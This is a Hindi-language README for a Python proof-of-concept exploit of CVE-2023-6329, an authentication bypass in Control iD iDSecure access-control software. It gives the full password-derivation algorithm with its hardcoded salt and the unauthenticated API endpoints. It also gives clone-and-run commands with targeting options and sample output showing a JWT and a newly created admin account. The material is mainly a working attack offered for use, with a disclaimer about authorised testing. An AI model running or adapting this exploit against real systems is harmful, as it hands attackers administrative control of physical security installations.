
Control iD iDSecure में CVE-2023-6329 प्रमाणीकरण बाईपास के लिए Python PoC एक्सप्लॉइट। अधिकृत सुरक्षा परीक्षण के लिए अनुमानित पासवर्ड व्युत्पत्ति एल्गोरिथ्म के माध्यम से व्यवस्थापक क्रेडेंशियल्स का पुनर्निर्माण करता है।
CVE-2023-6329 के लिए एक पायथन प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Control iD iDSecure संस्करणों 4.7.43.0 और उससे नीचे में एक अनुचित पहुंच नियंत्रण भेद्यता। यह दोष एक अप्रमाणित रिमोट हमलावर को सार्वजनिक रूप से सुलभ मानों — एक डिवाइस सीरियल नंबर, एक सर्वर-प्रदत्त नॉन्स और एक हार्डकोडेड सॉल्ट — पर पूरी तरह निर्भर एक अनुमानित पासवर्ड व्युत्पत्ति एल्गोरिदम का शोषण करके वैध लॉगिन क्रेडेंशियल्स को पुनर्निर्मित करने की अनुमति देता है। एक बार प्रमाणित होने के बाद, हमलावर वेब इंटरफ़ेस पर एक नया प्रशासनिक उपयोगकर्ता बना सकता है।
माइकल हाइन्ज़ल के मूल मेटास्प्लॉइट मॉड्यूल के आधार पर पायथन में रूपांतरित। मूल भेद्यता Tenable द्वारा खोजी और प्रकट की गई।
अस्वीकरण: यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। इसे केवल उन प्रणालियों पर चलाएं जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
iDS-Core.dll में लॉगिन रूटीन passwordCustom पैरामीटर के माध्यम से एक वैकल्पिक प्रमाणीकरण पथ को उजागर करता है। इस पैरामीटर का मान एक अनुमानित एल्गोरिदम का उपयोग करके प्राप्त किया जाता है जो डिवाइस के सीरियल नंबर (बिना प्रमाणीकरण के सार्वजनिक रूप से पुनर्प्राप्त करने योग्य) को कॉलर-आपूर्ति किए गए नॉन्स और एक हार्डकोडेड सॉल्ट स्ट्रिंग (cid2016) के साथ जोड़ता है। चूँकि गणना का प्रत्येक घटक या तो हमलावर-नियंत्रित है या स्वतंत्र रूप से प्राप्त किया जा सकता है, कोई भी रिमोट हमलावर एक मान्य passwordCustom मान की गणना कर सकता है और एक प्रशासक के रूप में लॉग इन कर सकता है।
इस पथ के माध्यम से सफल प्रमाणीकरण पर, सर्वर admin खाते का पासवर्ड admin पर रीसेट कर देता है, या यदि वह खाता मौजूद नहीं है तो उसे बना देता है।
एक्सप्लॉइट पाँच चरणों का अनुसरण करता है:
1. संस्करण जाँच — /api/util/configUI एंडपॉइंट एक 401 प्रतिक्रिया लौटाता है जिसमें सॉफ़्टवेयर संस्करण होता है, यह पुष्टि करते हुए कि लक्ष्य एक संवेदनशील बिल्ड चला रहा है या नहीं।
2. अनलॉक डेटा प्राप्त करें — /api/login/unlockGetData पर एक GET अनुरोध डिवाइस का serial नंबर और एक passwordRandom नॉन्स लौटाता है। इस एंडपॉइंट के लिए किसी प्रमाणीकरण की आवश्यकता नहीं है।
3. passwordCustom की गणना करें — बायपास क्रेडेंशियल प्राप्त करने के लिए निम्नलिखित एल्गोरिदम लागू किया जाता है:
sha1_hash = SHA1(serial)
combined = sha1_hash + passwordRandom + "cid2016"
sha256_hash = SHA256(combined)
passwordCustom = int(sha256_hash[0:6], 16) # पहले 6 हेक्स वर्ण → दशमलव
4. प्रमाणित करें और JWT प्राप्त करें — गणना किए गए passwordCustom और passwordRandom को /api/login/ पर POST किया जाता है, जो प्रशासनिक विशेषाधिकारों के साथ एक मान्य JWT accessToken लौटाता है।
5. एक नया प्रशासनिक उपयोगकर्ता बनाएं — JWT का उपयोग /api/operator/ पर POST करने और idType: 1 (प्रशासक भूमिका) के साथ एक नया ऑपरेटर खाता पंजीकृत करने के लिए किया जाता है।
requests लाइब्रेरीgit clone https://github.com/itzvenom/CVE-2023-6329.git
cd CVE-2023-6329
pip install requests
python3 exploit.py --host <लक्ष्य_आईपी> [विकल्प]
डिफ़ॉल्ट पोर्ट पर लक्ष्य के विरुद्ध मूल उपयोग:
python3 exploit.py --host 192.168.1.100
नए प्रशासनिक खाते के लिए कस्टम क्रेडेंशियल निर्दिष्ट करें:
python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass!
SSL के बिना गैर-मानक पोर्ट पर चलने वाला लक्ष्य:
python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl
[*] लक्ष्य: https://192.168.1.100:30443
============================================================
[*] लक्ष्य संस्करण: 4.7.32.0
[+] लक्ष्य संवेदनशील प्रतीत होता है।
[+] passwordRandom : 2948271034
[+] serial : ABC123XYZ
[*] गणना किया गया passwordCustom: 8301745
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] उपयोगकर्ता 'ctfadmin' सफलतापूर्वक बनाया गया।
[+] सत्यापित! नए क्रेडेंशियल काम करते हैं।
[+] यहाँ लॉगिन करें: https://192.168.1.100:30443/#/login
उपयोगकर्ता नाम : ctfadmin
पासवर्ड : S3cr3tPass!
| फ़ील्ड | विवरण |
|---|
| CVE आईडी | CVE-2023-6329 |
| प्रभावित उत्पाद | Control iD iDSecure |
| प्रभावित संस्करण | ≤ 4.7.43.0 |
| भेद्यता प्रकार | अनुचित पहुंच नियंत्रण (CWE-284) |
| हमला वेक्टर | नेटवर्क (अप्रमाणित) |
| प्रकटीकरण दिनांक | 27 नवंबर, 2023 |
| द्वारा खोजा गया | Tenable |
| तर्क | डिफ़ॉल्ट | विवरण |
|---|
--host | (आवश्यक) | लक्ष्य आईपी पता या होस्टनाम |
--port | 30443 | लक्ष्य पोर्ट |
--username | pwned_admin | नए प्रशासनिक खाते का उपयोगकर्ता नाम |
--password | Pwned1234! | नए प्रशासनिक खाते का पासवर्ड |
--no-ssl | False | HTTPS अक्षम करें (सादा HTTP का उपयोग करें) |